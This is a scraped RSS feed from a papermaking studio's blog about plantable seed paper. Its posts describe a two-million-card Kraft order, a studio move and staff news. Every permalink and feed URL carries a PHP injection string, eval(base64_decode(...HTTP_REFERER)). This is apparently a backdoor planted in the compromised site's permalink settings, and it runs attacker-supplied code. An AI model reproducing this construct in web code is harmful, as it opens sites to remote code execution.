pulp obsession » plantable paper http://blog.porridgepapers.com all things pulp Tue, 15 Feb 2011 13:45:46 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 grow your ideas! http://blog.porridgepapers.com/2009/11/06/grow-your-ideas/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://blog.porridgepapers.com/2009/11/06/grow-your-ideas/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 06 Nov 2009 19:34:42 +0000 Christopher http://blog.porridgepapers.com/?p=369 here is a new piece we just finished! it was a long time in the making but i think it was well worth the wait. what better way to promote your company or event that you are going green then to use plantable paper for your packaging! this bamboo plate was wrapped with our handmade paper embedded with lettuce and tomato seeds. the paper was printed on our 100 year old letterpress in 3 colors.

plantable salad promotion

]]> http://blog.porridgepapers.com/2009/11/06/grow-your-ideas/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 changes are coming? http://blog.porridgepapers.com/2009/05/06/changes-are-coming/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://blog.porridgepapers.com/2009/05/06/changes-are-coming/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 06 May 2009 04:56:08 +0000 Christopher http://blog.porridgepapers.com/?p=223 what a spring/summer this is shaping up to be! to start things off, the may issue of self magizine came out and right there on page 32 is our plantable pillow box! a big thanks goes out to them for featureing us.

check out our plantable pillow boxes

so, things have really been hopping this year. we finished up with our 2.2 million piece order and was not sure where we were going to go from there. it seems that there are people and compinies all over the world that are in need of handmade paper and plantable paper! so why not help them out! because of this we have been looking for a new home for porridge papers and i think we might have found one. it is in the heart of downtown lincoln, a block from the university and next door to the childrens museum. what is so great about this space  beside location is that the papermill will be a seperate space from the letterpress studio and retial section. it is a larger and more effeciant space compared to the building we are in now. it will also allow for more retial, workshops, classes and production! stay tuned as we should have a final answer in the next week or two, and then pictures to follow. in the mean time visit plantableseedpaper.com for updated pictures and a completly new porridge papers web site to follow in the next few months!

]]> http://blog.porridgepapers.com/2009/05/06/changes-are-coming/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 AMAZING!!!! http://blog.porridgepapers.com/2009/03/20/amazing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://blog.porridgepapers.com/2009/03/20/amazing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 20 Mar 2009 23:45:33 +0000 Christopher http://blog.porridgepapers.com/?p=211 kraft crew

back in october we got an order to produce 2,163,000 cards for a promotion for kraft foods. it was embedded with lettuce seeds and then attached to the inside page of a magazine. what was i thinking, how could i get it done, what would it take? looking back to an october post…..

“2,851,200 square inches upholstery foam + 1,232,000 square inches cardboard + 1,436,400 square inches pellon +
155,232 square inches felt + 92,400 square inches plywood + 200 pounds lettuce seed + 18,750 pounds recycled fiber +
countless screws, nails, bottles of glue, and trips to the hardware store = 2,000,000 plantable pieces
quite possibly the largest order in plantable paper history…booyaw acheived.”

that just about sums it up. im sure the numbers are a bit different but it was a lot of work! i was so greatful to have an amazing team of papermakers and support crew! without them it would not have happened. not only did we get it done but we did it on time! the final count was 2,237,745 pieces which equals 78,418 sheets of 19″x25″ lettuce paper.

thank you to everyone!!

]]> http://blog.porridgepapers.com/2009/03/20/amazing/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 1 one box…299 to go http://blog.porridgepapers.com/2009/02/20/one-box299-to-go/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://blog.porridgepapers.com/2009/02/20/one-box299-to-go/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 20 Feb 2009 03:09:08 +0000 Christopher http://blog.porridgepapers.com/?p=188 so today was a momentous occasion for us! we began the journey of packaging 2,163,000 cards made from handmade plantable paper embedded with lettuce seeds! and here i thought making the paper would be the hard part, try cutting them.

kraft

some how we need to figure out how to fit 16 pallets in our mill so that we can ship it all at once! oh how i wish we had a second story. this has been such a learning experience and taught us so much. when all is said and done i hope to put together a slide show of the entire order. a memento of our accomplishment.

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WE DID IT!!!

After tons of hard work and quite a bit of stress we have finally reached the halfway point on our big order! Now it’s time to really push the envelope and see if we can make local handmade paper history! Only 7 weeks remain with just over 37,000 sheets to go. The pressure’s on!

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grow baby grow

]]> http://blog.porridgepapers.com/2008/11/21/sprout-up/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 happy workaversary http://blog.porridgepapers.com/2008/11/10/happy-workaversary/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://blog.porridgepapers.com/2008/11/10/happy-workaversary/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 10 Nov 2008 04:30:47 +0000 Christopher http://blog.porridgepapers.com/2008/11/10/happy-workaversary/ on friday those of us that were here took a little break to wish samantha a happy workaversary! she has been with us for 6 years, and how she has climed up that ladder!

she started out as a wee little coucher and started pulling her own sheets just months afer being hired. it was not long untill we could see that she had managment potential! within less than a year she became our manager. after a few years when we decided to move back to lincoln she could not stand the thought of working anywhere else so she hitched a ride to lincoln and help set up the mill at its current location.

as our current production manager everything must go through her (believe me, if i try to schedule anything with out letting her know…well lets just say it is not good). she has done a fantastic job and has made a great impact on the porridge papers family, after all we all feel like family here. so here is a big thanks to samantha and we look foward to many more years!

happy workaversary

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having fun

having fun

while some feel like they could work behind the counters at joann fabrics, others can teach an arts and craft class and others are ready to build a small cottage i think they are all ready to get back to making paper. but we did have a few fun weeks and the addition to the building was worth it!

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breakin records

 

2,851,200 square inches upholstery foam +

1,232,000 square inches cardboard +

1,436,400 square inches pellon +

155,232 square inches felt +

92,400 square inches plywood +

200 pounds lettuce seed +

18,750 pounds recycled fiber +

countless screws, nails, bottles of glue, and trips to the hardware store =

 

2,000,000 plantable peices

quite possibly the largest order in plantable paper history

 

booyaw acheived.

 

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plantable press tag

we were asked if we could create the tag for the press kits for the presidential debate at belmont university on october 7th. they are trying to reduce paper consumption which i imagine with over 3600 press kits that would be a lot! so instead they are loading the press kits on a jump drive and we created a plantable tag that will be attached to the recycled bags that will hold the jump drive among other stuff. once we get pictures of them hanging from the bags i will post it.

it just goes to show you all the creative ways you can reduce waste at any level!

plantable press tag

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